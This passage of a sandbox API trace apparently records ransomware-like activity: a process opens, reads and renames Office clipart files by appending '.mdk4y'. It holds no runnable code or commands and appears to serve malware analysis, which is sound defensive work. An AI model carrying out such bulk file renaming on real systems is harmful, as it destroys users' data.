hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x984, lpOverlapped=0x0) returned 1 [0132.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820726800000) returned 1 [0132.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820726800000) returned 1 [0132.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.mdk4y")) returned 1 [0132.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.039] AreFileApisANSI () returned 1 [0132.039] GetACP () returned 0x4e4 [0132.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01080_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01080_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820726900000) returned 1 [0132.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaac, lpOverlapped=0x0) returned 1 [0132.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820727000000) returned 1 [0132.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820727000000) returned 1 [0132.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.mdk4y")) returned 1 [0132.041] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.041] AreFileApisANSI () returned 1 [0132.041] GetACP () returned 0x4e4 [0132.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01603_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01603_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820727200000) returned 1 [0132.042] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c08, lpOverlapped=0x0) returned 1 [0132.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820728700000) returned 1 [0132.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820728700000) returned 1 [0132.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.mdk4y")) returned 1 [0132.058] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.058] AreFileApisANSI () returned 1 [0132.058] GetACP () returned 0x4e4 [0132.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01634_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01634_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.058] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820728800000) returned 1 [0132.059] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xda6, lpOverlapped=0x0) returned 1 [0132.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820730800000) returned 1 [0132.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820730800000) returned 1 [0132.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.mdk4y")) returned 1 [0132.079] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.079] AreFileApisANSI () returned 1 [0132.079] GetACP () returned 0x4e4 [0132.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01635_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01635_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.079] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820731000000) returned 1 [0132.080] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a94, lpOverlapped=0x0) returned 1 [0132.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820731100000) returned 1 [0132.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820731100000) returned 1 [0132.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.mdk4y")) returned 1 [0132.082] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.116] AreFileApisANSI () returned 1 [0132.116] GetACP () returned 0x4e4 [0132.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01636_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01636_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.116] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820734700000) returned 1 [0132.117] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x752, lpOverlapped=0x0) returned 1 [0132.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736100000) returned 1 [0132.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736100000) returned 1 [0132.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.mdk4y")) returned 1 [0132.132] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.132] AreFileApisANSI () returned 1 [0132.132] GetACP () returned 0x4e4 [0132.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01637_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01637_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736300000) returned 1 [0132.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf6c, lpOverlapped=0x0) returned 1 [0132.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736400000) returned 1 [0132.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736400000) returned 1 [0132.134] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.mdk4y")) returned 1 [0132.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.135] AreFileApisANSI () returned 1 [0132.135] GetACP () returned 0x4e4 [0132.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01638_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01638_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820736500000) returned 1 [0132.135] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x292a, lpOverlapped=0x0) returned 1 [0132.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820737300000) returned 1 [0132.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820737300000) returned 1 [0132.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.mdk4y")) returned 1 [0132.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.143] AreFileApisANSI () returned 1 [0132.143] GetACP () returned 0x4e4 [0132.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS01639_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS01639_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820737400000) returned 1 [0132.144] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x108c, lpOverlapped=0x0) returned 1 [0132.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820740500000) returned 1 [0132.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820740500000) returned 1 [0132.175] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.mdk4y")) returned 1 [0132.176] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.176] AreFileApisANSI () returned 1 [0132.176] GetACP () returned 0x4e4 [0132.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CARBN_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CARBN_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0132.176] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820740600000) returned 1 [0132.176] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x246a, lpOverlapped=0x0) returned 1 [0132.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820741500000) returned 1 [0132.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820741500000) returned 1 [0132.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.mdk4y")) returned 1 [0132.187] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.187] AreFileApisANSI () returned 1 [0132.187] GetACP () returned 0x4e4 [0132.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CG1606.WMF", cchWideChar=10, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CG1606.WMFID", lpUsedDefaultChar=0x37df4c) returned 10 [0132.187] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820742200000) returned 1 [0132.192] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdec, lpOverlapped=0x0) returned 1 [0132.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820743600000) returned 1 [0132.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820743600000) returned 1 [0132.207] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.mdk4y")) returned 1 [0132.207] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.207] AreFileApisANSI () returned 1 [0132.207] GetACP () returned 0x4e4 [0132.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLASSIC1.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLASSIC1.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.207] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820743800000) returned 1 [0132.208] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x976, lpOverlapped=0x0) returned 1 [0132.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820744700000) returned 1 [0132.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820744700000) returned 1 [0132.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.mdk4y")) returned 1 [0132.219] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.219] AreFileApisANSI () returned 1 [0132.219] GetACP () returned 0x4e4 [0132.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLASSIC2.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLASSIC2.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.219] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820745500000) returned 1 [0132.225] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8d6, lpOverlapped=0x0) returned 1 [0132.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756000000) returned 1 [0132.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756000000) returned 1 [0132.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.mdk4y")) returned 1 [0132.331] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.331] AreFileApisANSI () returned 1 [0132.331] GetACP () returned 0x4e4 [0132.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLIP.WMF", cchWideChar=8, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLIP.WMF.WMF", lpUsedDefaultChar=0x37df4c) returned 8 [0132.331] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756100000) returned 1 [0132.331] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8d6, lpOverlapped=0x0) returned 1 [0132.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756600000) returned 1 [0132.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756600000) returned 1 [0132.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.mdk4y")) returned 1 [0132.337] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.337] AreFileApisANSI () returned 1 [0132.337] GetACP () returned 0x4e4 [0132.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CMNTY_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CMNTY_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0132.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820756700000) returned 1 [0132.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b3a, lpOverlapped=0x0) returned 1 [0132.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 